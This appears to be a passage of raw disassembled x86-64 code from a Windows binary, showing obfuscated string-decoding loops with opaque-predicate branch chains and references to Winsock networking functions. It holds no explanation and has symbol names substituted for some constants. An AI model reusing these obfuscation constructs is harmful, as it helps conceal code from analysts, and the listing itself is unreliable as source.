add rdi, rcx
add rdi, r11
sub dil, 0x5b
jmp 0x140087c30
je 0x140088577
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008852b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400884d9
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400884ba
movzx r9d, r12b
cmp r8, r12
ja 0x1400885f1
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140087c65
lea ecx, [r9 + 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x77
jmp 0x140087ca0
je 0x14008847a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140088457
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008843a
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400883f3
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400883d6
nop
lea rdx, [r8 + rbx]
cmp rdx, r12
jbe 0x14008804f
nop dword [rax]
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140088034
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14008800e
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140087feb
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140087fd0
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140087fb0
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140087cb0
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 0x64]
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400885d4
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400885b7
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140087e38
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140087e1d
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140087e02
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140087f71
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140087f4c
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140087cb0
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140087f2f
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140087f0f
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140087ef4
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140087ed7
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140087eb7
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140087e97
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140087e74
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140087e55
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140087cb0
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0xa]
jmp 0x140087cb0
lea ecx, [r9 + 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x69
jmp 0x140087ca0
lea ecx, [r9 - 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x4d
jmp 0x140087c34
sub r9b, 0x25
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 3
jmp 0x140087bd0
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140088490
add r9b, 0x6e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 2
inc r8
dec r12
jmp 0x14008859b
add r9b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4c
dec r12
jmp 0x14008859b
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140088515
add r9b, 6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2a
jmp 0x140088518
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
jmp 0x140088409
sub r9b, 0x2e
movzx eax, r9b
and al, r10b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140088543
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x14008858c
add r9b, 0x77
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x41
mov byte [rbp + r12 + 0xc0], dil
jmp 0x14008859b
lea ecx, [r9 + 0x5d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x75
cmp r8, 0x80
jb 0x140087f64
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
mov edx, 0x1f
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140088490
sub r9b, 2
movzx eax, r9b
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140088515
lea ecx, [r9 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3c
jmp 0x1400884f3
sub r9b, 0x36
movzx eax, r9b
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r12
jmp 0x14008859b
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r12
jmp 0x14008859b
lea ecx, [r9 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
jmp 0x140088490
lea r15, [r8 + 0x10]
lea r11, [r8 + 1]
cmp rbx, r15
jae 0x1400880d8
lea ecx, [r9 + 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5b
lea r14, [r8 + 2]
lea rsi, [r8 + 3]
cmp rdx, 0x7a
je 0x1400883ba
cmp rbx, r15
jbe 0x1400881da
lea ecx, [r9 + 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x51
cmp rbx, 0x400
jae 0x14008839c
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x1400882a0
lea ecx, [r9 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
jmp 0x140087f87
cmp rbx, r11
jne 0x140088101
add r9b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008858c
lea r14, [r8 + 2]
cmp rbx, r14
jne 0x14008812e
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140088543
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140088158
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
jmp 0x140088518
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140088185
sub r9b, 0x76
movzx eax, r9b
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140088515
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400881ad
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
jmp 0x1400884f3
lea rsi, [r8 + 3]
cmp rbx, rsi
jne 0x14008807a
sub r9b, 0x42
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x32
dec r12
jmp 0x14008859b
cmp rbx, r11
jne 0x1400881fe
lea ecx, [r9 + 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x65
jmp 0x140088490
cmp rbx, r14
jne 0x14008822a
add r9b, 0x4d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1b
inc r8
dec r12
jmp 0x14008859b
cmp rbx, rsi
jne 0x14008824e
lea ecx, [r9 - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x79
jmp 0x1400884f3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140088278
sub r9b, 0x4b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0xd
jmp 0x140088518
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400880a3
lea ecx, [r9 - 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x57
jmp 0x140088409
cmp rbx, r11
jne 0x1400882c9
add r9b, 0x44
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008858c
cmp rbx, r14
jne 0x1400882ed
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x140088409
cmp rbx, rsi
jne 0x140088316
sub r9b, 0x6e
movzx eax, r9b
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140088518
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140088343
sub r9b, 0x54
movzx eax, r9b
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140088515
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140088370
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
dec r12
jmp 0x14008859b
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140087f87
lea edx, [r9 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140088490
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 4
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400884f3
lea edx, [r9 + 0x62]
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140088409
sub r9b, 0x1f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x27
jmp 0x140088543
lea ecx, [r9 - 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x71
add r9b, 0x6f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 9
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r12 + 0xc0], al
inc r8
add rax, r8
sub r12, rax
jmp 0x140088543
sub r9b, 0x53
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x45
jmp 0x140088518
add r9b, 0x45
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x1d
inc r8
dec r12
jmp 0x14008859b
lea ecx, [r9 + 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2d
add r9b, 0x3b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x63
add r9b, r10b
mov byte [rbp + r12 + 0xc0], r9b
inc r8
dec r12
jmp 0x14008859b
lea ecx, [r12 - 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x55
dec r12
jmp 0x14008859b
movzx r9d, r12b
lea ecx, [r9 - 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x61
add r9b, 0x55
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x53
add r9b, r10b
add r9b, dil
mov byte [rbp + r12 + 0xc0], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r12, rcx
jmp 0x14008859b
lea rcx, [r12 + r14]
and r11b, cl
add r11b, r11b
movzx edi, r10b
sub dil, r11b
add dil, 0x39
add dil, cl
lea ecx, [r12 + 0x7c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x64
add r10b, cl
mov byte [rbp + r12 + 0xc0], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r12, rax
jmp 0x14008858c
lea rax, [r12 + rsi]
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edi, [rax + r10]
sub dil, 0x11
movzx eax, byte [rbp + r12 + 0xc0]
add rax, r8
add r12, rax
inc r12
movabs rsi, 0x95572bf680df6227
movabs r14, 0xa391494581744e41
jmp 0x140087bb3
sub r9b, 0x3f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x47
jmp 0x140087bb0
sub r9b, 0x59
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x6f
jmp 0x140087ba0
lea rcx, [rbp + 0x147517c]
jmp 0x140088610
lea rcx, [rbp + 0x111c789]
jmp 0x140088610
lea rcx, [rbp + 0xc0]
lea rdx, [0x1401feb88]
call fcn.140039a40
mov byte [rbp + 0x420], 0x59
mov byte [rbp + 0x421], 0xb7
mov byte [rbp + 0x422], 0xa3
mov byte [rbp + 0x423], 0xa1
mov byte [rbp + 0x424], 0xb6
mov byte [rbp + 0x425], 0xa2
mov byte [rbp + 0x426], 0x7c
mov byte [rbp + 0x427], 0x43
mov byte [rbp + 0x428], 0xa5
mov byte [rbp + 0x429], __WSAFDIsSet
mov byte [rbp + 0x42a], __WSAFDIsSet
mov byte [rbp + 0x42b], 0xb8
mov byte [rbp + 0x42c], 0xac
mov byte [rbp + 0x42d], 0xa8
mov byte [rbp + 0x42e], 0xab
mov byte [rbp + 0x42f], reloc.WS2_32.dll_socket
xor eax, eax
mov dword [rbp + 0x430], eax
mov word [rbp + 0x434], ax
movabs rsi, 0x9be767bcd83b5e2b
movabs r15, 0x4353d629e99f932d
movabs r14, 0xd3b6373688b21a81
movzx edi, byte [rsp + 0x50]
nop
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x16
jae 0x14008922a
movzx r10d, byte [rbp + r11 + 0x420]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14008921e
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140088723
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x2d
jmp 0x140088750
je 0x1400891af
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140089121
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400890ee
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400890a9
movzx r9d, r11b
cmp r8, r11
ja 0x140089212
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x140088782
lea ecx, [r9 - 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x4f
jmp 0x1400887c3
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140089062
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008903c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008901f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140088fff
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140088fd0
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140088d32
lea rcx, [r8 + 6]
cmp rbx, rcx
je 0x140088d16
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140088ced
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140088cca
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140088caf
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140088c8f
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140088c72
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140088c57
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140088c37
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140088c08
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400887d0
mov rbx, rcx
lea r8, [rcx + 0x400]
lea rcx, [r8 + 8]
cmp rbx, rcx
jb 0x1400891f6
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x1400891d9
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1400889be
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400889a3
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140088988
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140088bb8
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140088b6c
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140088b30
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140088b08
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400887d0
mov rbx, rcx
lea r8, [rcx + 0x1000]
lea rax, [r8 + 0x5a]
cmp rcx, rax
ja 0x140088ad6
lea rax, [r8 + 0x2a]
cmp rcx, rax
ja 0x140088ab9
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x140088a9e
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x140088a7e
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x140088a61
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x140088a46
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x140088a20
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x1400889fa
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x1400889db
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x1400887d0
lea rbx, [r8 + 9]
lea r8, [rbx + 0x61]
jmp 0x1400887d0
lea ecx, [r9 + 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6f
jmp 0x1400887c3
lea ecx, [r9 + 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x15
jmp 0x140088754
sub r9b, 0x53
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x45
jmp 0x1400886f0
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008907c
sub r9b, 0x1e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2e
inc r8
dec r11
inc r11
jmp 0x1400886d3
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400886d3
lea ecx, [r9 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
jmp 0x1400890c7
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x140089105
sub r9b, 0x76
movzx eax, r9b
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140089108
lea ecx, [r9 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
jmp 0x14008913b
sub r9b, 0x22
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x12
jmp 0x140089168
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x420]
add rax, r8
add r11, rax
inc r11
jmp 0x1400886d3
sub r9b, 0x4f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x29
mov byte [rbp + r11 + 0x420], dil
inc r11
jmp 0x1400886d3
lea ecx, [r9 + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7d
cmp r8, 4
jb 0x140088b20
lea edx, [r9 + 0x22]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14008907c
lea ecx, [r9 + 5]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x23
cmp rbx, 3
jae 0x140088f95
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x140088ed7
lea edx, [r9 - 0x3a]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x6a
add dil, dl
jmp 0x140088b46
lea ecx, [r9 - 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x37
lea rax, [r8 + rbx]
cmp rax, 2
je 0x140088fb4
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x140088e1c
lea edx, [r9 + 0x3f]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x47
add dil, dl
jmp 0x140088b82
add r9b, 0x2a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x26
movzx eax, byte [rbp + r11 + 0x420]
add rax, r8
add r11, rax
inc r11
jmp 0x1400886d3
sub r9b, 0x2c
movzx eax, r9b
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140089168
lea ecx, [r9 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x72
jmp 0x14008913b
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
jmp 0x140089108
sub r9b, 0x2e
movzx eax, r9b
and al, r10b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140089105
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x1400890c7
add r9b, 0x26
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xa
dec r11
inc r11
jmp 0x1400886d3
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400886d3
lea edx, [r9 + 0x7a]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x56
jmp 0x140089079
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x140088d5e
lea edx, [r9 + 0x2b]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x2d
add dil, dl
jmp 0x140088bce
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140088d9a
add r9b, 0xe
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x62
movzx eax, byte [rbp + r11 + 0x420]
add rax, r8
add r11, rax
inc r11
jmp 0x1400886d3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140088dc7
add r9b, 0x66
movzx eax, r10b
and al, r9b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140089105
cmp rbx, rcx
jne 0x140088df3
add r9b, 0x12
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7e
dec r11
inc r11
jmp 0x1400886d3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140088bce
lea edx, [r9 - 0x42]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x32
jmp 0x140089079
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140088e45
lea edx, [r9 - 0x6b]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x13
jmp 0x140089079
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140088e6f
add r9b, 0x43
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x2b
jmp 0x140089108
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140088e9b
lea edx, [r9 - 0x67]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x2f
add dil, dl
jmp 0x14008913b
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140088b82
add r9b, 0x45
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x1d
movzx eax, byte [rbp + r11 + 0x420]
add rax, r8
add r11, rax
inc r11
jmp 0x1400886d3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140088f16
add r9b, 0x1c
movzx eax, r10b
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x420]
add rax, r8
add r11, rax
inc r11
jmp 0x1400886d3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140088f42
lea edx, [r9 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x78
add dil, dl
jmp 0x14008913b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140088f6c
add r9b, 0x74
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x2c
jmp 0x140089105
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140088b46
lea edx, [r9 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140089079
lea edx, [r9 + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x48
add dil, r10b
jmp 0x1400890c4
lea edx, [r9 - 0x32]
movzx eax, r10b
and al, dl
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008913b
sub r9b, 0x73
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x25
movzx eax, byte [rbp + r11 + 0x420]
add rax, r8
add r11, rax
inc r11
jmp 0x1400886d3
add r9b, 0x37
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x7f
add dil, r9b
jmp 0x140089168
add r9b, 0x35
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x73
jmp 0x140089105
add r9b, 0x33
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x65
inc r8
dec r11
inc r11
jmp 0x1400886d3
lea edx, [r9 - 0x23]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0xb
add dil, dl
add r9b, 0x4d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x1b
add r9b, r10b
mov byte [rbp + r11 + 0x420], r9b
inc r8
dec r11
inc r11
jmp 0x1400886d3
movzx r9d, r11b
lea edx, [r9 + 0x2f]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x49
add dil, dl
sub r9b, 0x5d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x75
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x420], r9b
jmp 0x140089105
lea ecx, [r11 - 0x27]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x11
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400886d3
lea rcx, [r11 + r15]
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
sub dil, 0x3b
add dil, cl
movzx r9d, r11b
sub r9b, 7
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x31
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x420], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x420], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x420]
